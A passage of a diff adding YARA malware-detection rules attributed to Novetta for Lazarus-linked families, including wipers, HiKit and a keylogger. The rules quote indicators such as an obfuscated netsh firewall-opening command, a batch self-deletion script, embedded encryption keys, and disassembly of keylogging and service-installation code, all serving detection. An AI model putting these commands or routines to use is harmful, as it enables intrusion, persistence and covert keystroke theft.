+		$other = "ZwLoadDriver"
+
+	condition:
+		$uuid or ($infectionID1 and $infectionID2 and $other)
+}
+
+// yara rules that can cross boundaries between the various sets/types... more general detection signatures
+import "pe"
+
+rule wiper_unique_strings
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+	 	company = "novetta"
+
+	 strings:
+	 	$a = "C!@I#%VJSIEOTQWPVz034vuA"
+		$b = "BAISEO%$2fas9vQsfvx%$"
+		$c = "1.2.7.f-hanba-win64-v1"
+		$d = "md %s&copy %s\\*.* %s"
+		$e = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+		$f = "Ge.tVol. .umeIn..for  mati.onW"
+	
+	condition:
+		$a or $b or $c or $d or $e or $f
+}
+
+
+rule wiper_encoded_strings
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+ 		company = "novetta"
+
+	 strings:
+	 	$scr = {89 D4 C4 D5 00 00 00}
+	 	$explorer = {E2 DF D7 CB C8 D5 C2 D5 89 C2 DF C2 00 00 00 }
+	 	$kernel32 = {CC C2 D5 C9 C2 CB 94 95  89 C3 CB CB 00 00 }
+
+	condition:
+		$scr or $explorer or $kernel32 
+}
+
+
+rule createP2P
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "CreatP2P Thread" wide
+
+	condition:
+		any of them
+}
+
+rule firewallOpener
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+	 $ = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+	 
+	condition:
+		any of them
+		
+}
+
+rule hidkit
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$a = "---HIDE"
+		$b = "hide---port = %d"
+
+	condition:
+		uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b
+}
+
+rule hikit
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$hikit_pdb1 = /(H|h)ikit_/
+		$hikit_pdb2 = "hikit\\"
+		$hikit_str3 = "hikit>" wide
+
+		$driver = "w7fw.sys" wide
+		$device = "\\Device\\w7fw" wide
+		$global = "Global\\%s__HIDE__" wide nocase
+		$backdr = "backdoor closed" wide
+		$hidden = "*****Hidden:" wide
+
+	condition:
+		(1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or $device or $global or $backdr or $hidden)
+}
+
+
+
+rule hikit2
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00}
+		$magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 00}
+
+	condition:
+		$magic1 and $magic2
+}
+
+import "pe"
+
+rule HotelAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "58dab205ecb1e0972027eb92f68cec6d208e5ab5.ex_"
+
+	strings:
+	
+	$resourceHTML = "RSRC_HTML"
+	/*
+		8A 0C 18  mov     cl, [eax+ebx]
+		80 F1 63  xor     cl, 63h
+		88 0C 18  mov     [eax+ebx], cl
+		8B 4D 00  mov     ecx, [ebp+0]
+		40        inc     eax
+		3B C1     cmp     eax, ecx
+		72 EF     jb      short loc_4010B4
+	*/
+
+	$rscsDecoderLoop = {
+			8A [2] 
+			80 F1 ?? 
+			88 [2] 
+			8B [2] 
+			40 
+			3B ??
+			72 EF 
+		}
+
+	condition:
+		$resourceHTML and $rscsDecoderLoop in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule IndiaAlfa_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "HwpFilePathCheck.dll"
+		$ = "AdobeArm.exe"
+		$ = "OpenDocument"
+		
+	condition:
+		2 of them
+
+}
+
+rule IndiaAlfa_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "ExePath: %s\nXlsPath: %s\nTmpPath: %s\n"
+		
+	condition:
+		any of them
+
+}
+
+import "pe"
+
+rule IndiaBravo_PapaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "pmsconfig.msi" wide
+		$ = "scvrit001.bat"
+	condition:
+		all of them
+}
+
+rule IndiaBravo_RomeoCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "58ad28ac4fb911abb6a20382456c4ad6fe5c8ee5.ex_"
+		Status = "Signature is too loose to be useful."
+		
+	strings:
+	/*
+		50                 push    eax             ; argp
+		68 7E 66 04 80     push    8004667Eh       ; cmd
+		8B 8D DC FE FF FF  mov     ecx, [ebp+skt]
+		51                 push    ecx             ; s
+		FF 15 58 31 41 00  call    ioctlsocket
+		83 F8 FF           cmp     eax, 0FFFFFFFFh
+		75 08              jnz     short loc_4043F0
+	*/
+
+	$a = {
+			50 
+			68 7E 66 04 80 
+			8B 8D [4]
+			51 
+			FF 15 [4] 
+			83 F8 FF 
+			75 
+		}
+	$b1 = "xc123465-efff-87cc-37abcdef9"
+	$b2 = "[Check] - PORT ERROR..." wide
+	$b3 = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d"
+
+	condition:
+		2 of ($b*) or 
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule IndiaBravo_RomeoBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "6e3db4da27f12eaba005217eba7cd9133bc258c97fe44605d12e20a556775009"
+
+	strings:
+	/*
+		E8 C3 FE FF FF     call    generate64ByteRandomNumber
+		68 C8 01 00 00     push    1C8h            ; dwLength
+		68 D8 E8 40 00     push    offset g_Config ; pvBuffer
+		A3 80 EA 40 00     mov     dword ptr g_Config.qwIdentifier, eax
+		89 15 84 EA 40 00  mov     dword ptr g_Config.qwIdentifier+4, edx
+		E8 F9 E9 FF FF     call    DNSCALCDecode
+		83 C4 08           add     esp, 8
+		8D 4C 24 08        lea     ecx, [esp+214h+var_20C]
+		6A 00              push    0
+		51                 push    ecx
+		68 C8 01 00 00     push    1C8h
+		68 D8 E8 40 00     push    offset g_Config
+		56                 push    esi
+		FF 15 74 E7 40 00  call    WriteFile_9
+		56                 push    esi
+		FF 15 6C E7 40 00  call    CloseHandle_9
+	*/
+
+	$a = {
+			E8 [4] 
+			68 [2] 00 00 
+			68 [4]
+			A3 [4]
+			89 15 [4]
+			E8 [4]
+			83 C4 08 
+			8D [3]
+			6A 00 
+			5? 
+			68 [2] 00 00 
+			68 [4]
+			5? 
+			FF 15 [4]
+			5? 
+			FF 15 
+
+		}
+		
+		$b1 = "tmscompg.msi" wide
+		$b2 = "cvrit000.bat"
+
+	condition:
+		2 of ($b*) or 
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule IndiaBravo_generic
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$extractDll = "[2] - Extract Dll..." wide
+		$createSvc = "[3] - CreateSVC..." wide
+
+	condition:
+		all of them
+	
+}
+
+rule IndiaCharlie_One
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "WMPNetworkSvcUpdate"
+		$ = "backSched.dll"
+		$ = "\\mspaint.exe"
+		$aesKey = "X,LLIe{))%%l2i<[AM|aq!Ql/lPlw]d7@C-#j.<c|#*}Kx4_H(q^F-F^p/[t#%HT"
+	condition:
+		2 of them or $aesKey
+}
+
+rule IndiaCharlie_Two
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$s1 = "%s is an essential element in Windows System configuration and management. %s"
+		$s2 = "%SYSTEMROOT%\\system32\\svchost.exe -k "
+		$s3 = "%s\\system32\\%s"
+		$s4 = "\\mspaint.exe"
+		$s5 = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		$aesKey = "}[eLkQAeEae0t@h18g!)3x-RvE%+^`n.6^()?+00ME6a&F7vcV}`@.dj]&u$o*vX"
+
+	condition:
+		3 of ($s*) or $aesKey
+}
+
+import "pe"
+
+rule IndiaDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "d7b50b1546653bff68220996190446bdc7fc4e38373715b8848d1fb44fe3f53c"
+
+	strings:
+	/*
+		FF 15 DC 2D 41 00  call    ReadFile_0
+		8B 44 24 20        mov     eax, [esp+25Ch+offsetInFile]
+		8B 54 24 1C        mov     edx, [esp+25Ch+dwEmbedCnt]
+		35 78 56 34 12     xor     eax, 12345678h
+		55                 push    ebp
+		55                 push    ebp
+		81 F2 78 56 34 12  xor     edx, 12345678h
+		50                 push    eax
+		57                 push    edi
+		89 54 24 2C        mov     [esp+26Ch+dwEmbedCnt], edx
+		89 44 24 30        mov     [esp+26Ch+offsetInFile], eax
+		FF 15 E0 2D 41 00  call    SetFilePointer_0
+	*/
+
+	$a = {
+			FF 15 [4-12] 
+			3? 78 56 34 12 
+			[0-2] 
+			8? ?? 78 56 34 12 
+			[0-10]
+			FF 15
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule IndiaEcho
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "66a21f8c72bb4f314604526e9bf1736f75b06cf37dd3077eb292941b476c3235"
+
+	strings:
+	/*
+		69 C0 28 01 00 00  imul    eax, 128h
+		50                 push    eax             ; size_t
+		53                 push    ebx             ; int
+		FF B5 AC FD FF FF  push    [ebp+configRecords]; void *
+		E8 6E 08 00 00     call    _memset
+		8B 85 A4 FC FF FF  mov     eax, [ebp+var_35C.dwRecordCnt]
+		69 C0 28 01 00 00  imul    eax, 128h
+		50                 push    eax             ; size_t
+		8B 85 C4 FE FF FF  mov     eax, [ebp+hMem]
+		05 08 01 00 00     add     eax, 108h
+		50                 push    eax             ; void *
+		FF B5 AC FD FF FF  push    [ebp+configRecords]; void *
+		E8 0A 05 00 00     call    _memcpy
+		83 C4 18           add     esp, 18h
+		8B BD A4 FC FF FF  mov     edi, [ebp+var_35C.dwRecordCnt]
+		69 FF 28 01 00 00  imul    edi, 128h
+		81 C7 08 01 00 00  add     edi, 108h
+	*/
+
+	$a = {
+			69 ?? 28 01 00 00 
+			5? 
+			5? 
+			FF B5 [4] 
+			E8 [4] 
+			8B [5] 
+			69 ?? 28 01 00 00 
+			50 
+			8B [5] 
+			(05 08 01 00 00 | 03 ??)
+			50 
+			FF [5]
+			E8 [4] 
+			83 C4 ?? 
+			8B [5]
+			69 ?? 28 01 00 00 
+			(81 C7 08 01 00 00 | 03 ??)
+
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule IndiaGolf
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "3dda69dfb254dcaea2ba6e8323d4b61ab1e130a0694f4c43d336cfb86a760c50"
+
+	strings:
+	/*
+		FF D6        call    esi ; rand
+		8B F8        mov     edi, eax
+		C1 E7 10     shl     edi, 10h
+		FF D6        call    esi ; rand
+		03 F8        add     edi, eax
+		89 7C 24 20  mov     [esp+2A90h+var_2A70], edi
+		FF D6        call    esi ; rand
+		8B F8        mov     edi, eax
+		C1 E7 10     shl     edi, 10h
+		FF D6        call    esi ; rand
+		03 F8        add     edi, eax
+		89 7C 24 24  mov     [esp+2A90h+var_2A6C], edi
+	*/
+
+	$generateRandomID = {
+			FF ?? 
+			8B ?? 
+			C1 ?? 10 
+			FF ?? 
+			03 F8 
+			89 [3]
+			FF ?? 
+			8B ?? 
+			C1 ?? 10 
+			FF ?? 
+			03 ?? 
+			89 
+		}
+
+	condition:
+		$generateRandomID in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule IndiaHotel
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "8a4fc5007faf85e07710dca705108df9fd6252fe3d57dfade314120d72f6d83f"
+
+	strings:
+	/*
+		6A 0A              push    0Ah             ; int
+		8D 85 C4 E4 FF FF  lea     eax, [ebp+Source]
+		68 10 02 00 00     push    210h            ; unsigned int
+		50                 push    eax             ; void *
+		E8 FA 60 00 00     call    ??_L@YGXPAXIHP6EX0@Z1@Z; `eh vector constructor iterator'(void *,uint,int,void (*)(void *),void (*)(void *))
+	*/
+
+	$fileExtractorArraySetup = {
+			6A 0A 
+			8D [5-6]
+			68 10 02 00 00 
+			50 
+			E8
+		}
+
+	condition:
+		$fileExtractorArraySetup in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule IndiaJuliett
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_writeFile = "a164c0ba0be7c33778c12a6457e9c55a2935564a"
+
+
+	strings:
+		$configFilename = {00 73 63 61 72 64 70 72 76  2E 64 6C 6C 00}
+		$suicideScript = ":R\nIF NOT EXIST %s GOTO E\ndel /a %s\nGOTO R\n:E\ndel /a d.bat"
+		$commKey = { 10 20 30 40 50 60 70 80 90 11 12 13 1A FF EE 48 }
+		/*
+		.text:10001850                 push    7530h           ; dwTimeout
+		.text:10001855                 lea     eax, [esp+420h+a2]
+		.text:10001859                 push    4               ; len
+		.text:1000185B                 push    eax             ; a2
+		.text:1000185C                 push    esi             ; s
+		.text:1000185D                 mov     dword ptr [esp+42Ch+a2], 1000h
+		.text:10001865                 call    CommSendWithTimeout
+		.text:1000186A                 add     esp, 14h
+		.text:1000186D                 cmp     eax, 0FFFFFFFFh
+		.text:10001870                 jz      loc_10001915
+		.text:10001876                 lea     ecx, [esp+418h+random]
+		.text:1000187A                 push    ecx             ; a1
+		.text:1000187B                 call    Generate16ByteRandomBuffer
+		.text:10001880                 push    0               ; fEncrypt
+		.text:10001882                 push    7530h           ; dwTimeout		
+		*/
+		$handshake = { 68 30 75 00 00 [4] 6A 04 5? 5? C? [3] 00 10 00 00 E8 [7] 83 F8 FF 0F 84 ?? ?? 00 00 8? [3] 5? E8 [4] 6A 00 68 30 75 00 00 }
+
+		/*
+			68 00 28 00 00     push    2800h
+			56                 push    esi
+			E8 38 F7 FF FF     call    sub_401000
+			// optionally there is a "add esp, 8" in some variants here
+			8D 44 24 28        lea     eax, [esp+270h+NumberOfBytesWritten]
+			6A 00              push    0               ; lpOverlapped
+			50                 push    eax             ; lpNumberOfBytesWritten
+			68 00 28 00 00     push    2800h           ; nNumberOfBytesToWrite
+			56                 push    esi             ; lpBuffer
+			53                 push    ebx             ; hFile
+			FF 15 6C 80 40 00  call    ds:WriteFile
+			81 ED 00 28 00 00  sub     ebp, 2800h
+			81 C7 00 28 00 00  add     edi, 2800h
+			81 C6 00 28 00 00  add     esi, 2800h
+		*/
+	
+		$writeFile = {
+				68 00 28 00 00 
+				5? 
+				E8 [4-7] 
+				8D [3] 
+				6A 00 
+				5? 
+				68 00 28 00 00 
+				5? 
+				5? 
+				FF 15 [4] 
+				81 ?? 00 28 00 00 
+				81 ?? 00 28 00 00 
+				81 ?? 00 28 00 00 
+			}
+				
+	condition:
+		($configFilename in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size)) or 
+			$suicideScript in ((pe.sections[pe.section_index(".data")].raw_data_offset)..(pe.sections[pe.section_index(".data")].raw_data_offset + pe.sections[pe.section_index(".data")].raw_data_size)))
+		or
+		($handshake in ((pe.sections[pe.section_index(".rsrc")].raw_data_offset)..(pe.sections[pe.section_index(".rsrc")].raw_data_offset + pe.sections[pe.section_index(".rsrc")].raw_data_size)) and 
+			$commKey in ((pe.sections[pe.section_index(".rsrc")].raw_data_offset)..(pe.sections[pe.section_index(".rsrc")].raw_data_offset + pe.sections[pe.section_index(".rsrc")].raw_data_size)))
+		or
+		 $writeFile in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+
+}
+
+import "pe"
+
+rule IndiaWhiskey
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"		
+		Source = "0c729deec341267c5a9a2271f20266ac3b0775d70436c7770ddc20605088f3b4"
+		Description = "Winsec Installer"
+		
+	strings:
+	/*
+		// Service installation code
+		FF 15 68 30 40 00  call    ds:wsprintfA
+		83 C4 18           add     esp, 18h
+		8D 85 FC FE FF FF  lea     eax, [ebp+var_104]
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		56                 push    esi
+		50                 push    eax
+		6A 01              push    1
+		// some variants have these two lines added
+		5E                 pop     esi
+		56                 push    esi
+
+		6A 02              push    2
+		68 20 01 00 00     push    120h
+		68 FF 01 0F 00     push    0F01FFh
+		FF 75 0C           push    [ebp+arg_4]
+		FF 75 08           push    [ebp+arg_0]
+		
+		// some variants have the next line as a push {reg} or push {stack var}
+		53                 push    ebx
+		//or
+		FF 75 FC           push    [ebp+var_4]
+
+		FF 15 E4 49 40 00  call    CreateServiceA
+	*/
+
+	$a = {
+			FF 15 [4] 
+			83 C4 18 
+			8D [5] 
+			5? 
+			5? 
+			5? 
+			5? 
+			5? 
+			5? 
+			6A 01
+			[0-2] 
+			6A 02 
+			68 20 01 00 00 
+			68 FF 01 0F 00 
+			FF 75 ?? 
+			FF 75 ?? 
+			(5? | FF 75 ??)
+			FF 15 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule KiloAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		type = "Keylogger"
+		SourceForDnscalcVariant1 = "b855d05ef7ab6582864c9b35052a1073a6eb7d0c7e9d97f524ec062715d71321"
+		SourceForDnscalcVariant2 = "ddde628be8cd5db768b807510ae1319888e6c4550a5b9a0d54e17b9ec4aaa256"
+		
+	strings:
+		/*
+		push    <variable>
+		call    GetAsyncKeyState
+		cmp     ax, 8001h
+		jnz     short loc_4021EE
+		push    <variable>             ; a1
+		call    AddCharacterToKeyLogBuffer
+		add     esp, 4
+		
+		this block of code is used multiple times in sequence so i'm looking for 5 consecutive blocks
+		*/
+		$keyxlate = {
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+			68 ?? 00 00 00 FF 15 [4] 66 ?? 01 80 75 ?? 6A ?? E8 [4] 83 C4 04
+		}
+		
+	/*
+		6A 2A                    push    2Ah
+		C6 84 24 C4 00 00 00 D6  mov     [esp+70Ch+var_648], 0D6h
+		C6 84 24 C5 00 00 00 E1  mov     [esp+70Ch+var_647], 0E1h
+		C6 84 24 C6 00 00 00 BF  mov     [esp+70Ch+var_646], 0BFh
+		C6 84 24 C7 00 00 00 C8  mov     [esp+70Ch+var_645], 0C8h
+		C6 84 24 C8 00 00 00 C3  mov     [esp+70Ch+var_644], 0C3h
+		C6 84 24 C9 00 00 00 BD  mov     [esp+70Ch+var_643], 0BDh
+		88 9C 24 CA 00 00 00     mov     [esp+70Ch+var_642], bl
+		FF 15 48 5B 40 00        call    GetAsyncKeyState
+		66 3D 01 80              cmp     ax, 8001h
+		75 20                    jnz     short loc_401696
+		8D 94 24 00 01 00 00     lea     edx, [esp+708h+pszOutput]
+		8D 84 24 C0 00 00 00     lea     eax, [esp+708h+var_648]
+		52                       push    edx             ; pszOutput
+		6A 07                    push    7               ; dwLength
+		50                       push    eax             ; pszInput
+		E8 A3 F9 FF FF           call    DNSCALCDecode
+		50                       push    eax             ; a1
+		E8 7D FB FF FF           call    AddEntryToKeylogDataBuffer
+		83 C4 10                 add     esp, 10h
+	*/
+
+	$keyxlateDnscalc1 = {	6A 2A C6 [6] D6 C6 [6] E1 C6 [6] BF C6 [6] C8 C6 [6] C3 C6 [6] BD	88 [6] FF 15 [4] 66 3D 01 80 75 ?? 	8D [6] 8D [6] 5? 6A 07 5? E8 [4] 50 E8 [4] 83 C4 10 }	
+
+	/*
+		6A 2A                          push    2Ah
+		C7 85 74 FF FF FF D6 E1 BF C8  mov     dword ptr [ebp+var_8C], 0C8BFE1D6h
+		66 C7 85 78 FF FF FF C3 BD     mov     [ebp+var_88], 0BDC3h
+		88 9D 7A FF FF FF              mov     [ebp+var_86], bl
+		FF 15 04 47 41 00              call    GetAsyncKeyState
+		BA 01 80 FF FF                 mov     edx, 0FFFF8001h
+		66 3B C2                       cmp     ax, dx
+		75 1E                          jnz     short loc_4018B0
+		8D 85 CC FE FF FF              lea     eax, [ebp+a3]
+		50                             push    eax             ; a3
+		8D 8D 74 FF FF FF              lea     ecx, [ebp+var_8C]
+		6A 07                          push    7               ; dwLength
+		51                             push    ecx             ; a1
+		E8 89 F7 FF FF                 call    DNSCalcDecode
+		50                             push    eax             ; a1
+		E8 83 F9 FF FF                 call    RecordStringToLog
+		83 C4 10                       add     esp, 10h
+	*/
+
+	$keyxlateDnscalc2 = { 6A 2A C7 [5] D6 E1 BF C8 	66 [6] C3 BD 88 [5]	FF 15 [4] BA 01 80 FF FF 66 3B C2 75 ?? 8D [5] 5? 8D [5] 6A 07 5? E8 [4] 50 E8 [4] 83 C4 10 }
+	
+	condition: 
+		$keyxlate in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $keyxlateDnscalc1 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $keyxlateDnscalc2 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+	
+}
+
+import "pe"
+
+rule LimaAlfa
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "c9fbad7fc7ff7688776056be3a41714a1f91458a7b16c37c3c906d17daac2c8b"
+		Status = "Signature is too loose to be useful."
+
+	strings:
+	/*
+		33 C0              xor     eax, eax
+		66 8B 02           mov     ax, [edx]
+		8B E8              mov     ebp, eax
+		81 E5 00 F0 FF FF  and     ebp, 0FFFFF000h
+		81 FD 00 30 00 00  cmp     ebp, 3000h
+		75 0D              jnz     short loc_4019FB
+		8B 6C 24 18        mov     ebp, [esp+10h+arg_4]
+		25 FF 0F 00 00     and     eax, 0FFFh
+		03 C7              add     eax, edi
+		01 28              add     [eax], ebp
+	*/
+
+	$a = {
+			33 C0 
+			66 [2] 
+			8B ?? 
+			81 ?? 00 F0 FF FF 
+			81 ?? 00 30 00 00 
+			75 ?? 
+			8B [3] 
+			25 FF 0F 00 00 
+			03 C7 
+			01 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule LimaBravo
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Mwsagent.dll"
+
+	strings:
+	/*
+		83 C4 34        add     esp, 34h
+		83 FD 0A        cmp     ebp, 0Ah
+		5D              pop     ebp
+		5B              pop     ebx
+		7E 12           jle     short loc_1000106F
+		57              push    edi             ; Src
+		C6 07 4D        mov     byte ptr [edi], 4Dh
+		C6 47 01 5A     mov     byte ptr [edi+1], 5Ah
+		E8 97 01 00 00  call    ManualImageLoad
+	*/
+
+	$a = {
+			83 ?? 34 
+			83 ?? 0A 
+			[0-2] 
+			7E ?? 
+			5? 
+			C6 ?? 4D 
+			C6 [2] 5A 
+			E8 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+import "pe"
+
+rule LimaCharlie
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source_x86 = "6ee6ae79ee1502a11ece81e971a54f189a271be9ec700101a2bd7a21198b94c7"
+		Source_x64 = "90ace24eb132c776a6d5bb0451437db21e84601495a2165d75f520af637e71e8"
+
+	strings:
+		$misspelling = "Defualt Sleep = %d" wide
+
+	/*
+		FF 76 74           push    dword ptr [esi+74h]
+		59                 pop     ecx
+		50                 push    eax
+		8F 86 48 01 00 00  pop     dword ptr [esi+148h]
+		85 C0              test    eax, eax
+		51                 push    ecx
+		8F 86 44 01 00 00  pop     dword ptr [esi+144h]
+		75 3D              jnz     short loc_100035F3
+		F6 46 56 01        test    byte ptr [esi+56h], 1
+		74 0A              jz      short loc_100035C6
+	*/
+
+	$x86 = {
+			FF ?? 74 
+			5? 
+			5? 
+			8F ?? 48 01 00 00 
+			85 C0 
+			5? 
+			8F ?? 44 01 00 00 
+			75 ?? 
+			F6 [2] 01 
+			74 
+		}
+
+	/*
+		48 8B 4B 70           mov     rcx, [rbx+70h]
+		48 89 8B 60 01 00 00  mov     [rbx+160h], rcx
+		48 89 83 68 01 00 00  mov     [rbx+168h], rax
+		48 85 C0              test    rax, rax
+		75 35                 jnz     short loc_180002372
+		F6 43 56 01           test    byte ptr [rbx+56h], 1
+		74 07                 jz      short loc_18000234A
+	*/
+
+	$x64 = {
+			48 [2] 70 
+			48 [2] 60 01 00 00 
+			48 [2] 68 01 00 00 
+			48 85 C0 
+			75 ?? 
+			F6 [2] 01 
+			74 
+		}
+		
+	condition:
+		$x86 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $x64 in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+		or $misspelling
+		
+}
+
+
+import "pe"
+
+rule LimaDelta
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "81e6118a6d8bf8994ce93f940059217481bfd15f2757c48c589983a6af54cfcc"
+
+	strings:
+	/*
+		8B 69 FC           mov     ebp, [ecx-4]
+		83 C1 10           add     ecx, 10h
+		81 F5 6D 3A 71 58  xor     ebp, 58713A6Dh
+		89 2A              mov     [edx], ebp
+		33 ED              xor     ebp, ebp
+		66 8B 69 F0        mov     bp, [ecx-10h]
+		89 6A 04           mov     [edx+4], ebp
+		83 C2 08           add     edx, 8
+		4F                 dec     edi
+		75 E3              jnz     short loc_4026CE
+	*/
+
+	$fileDecoder = {
+			8B ?? ?? 
+			83 ?? 10 
+			81 ?? 6D 3A 71 58 
+			89 ?? 
+			33 ?? 
+			66 ?? ?? F0 
+			89 ?? 04 
+			83 ?? 08 
+			4? 
+			75 
+		}
+		
+	/*
+		66 81 BC 24 A0 00 00 00 BB 01  cmp     [esp+98h+arg_4], 1BBh
+		74 21                          jz      short loc_401BD7
+		FF 15 58 30 40 00              call    ds:rand
+		99                             cdq
+		B9 32 00 00 00                 mov     ecx, 32h
+		F7 F9                          idiv    ecx
+		8B DA                          mov     ebx, edx
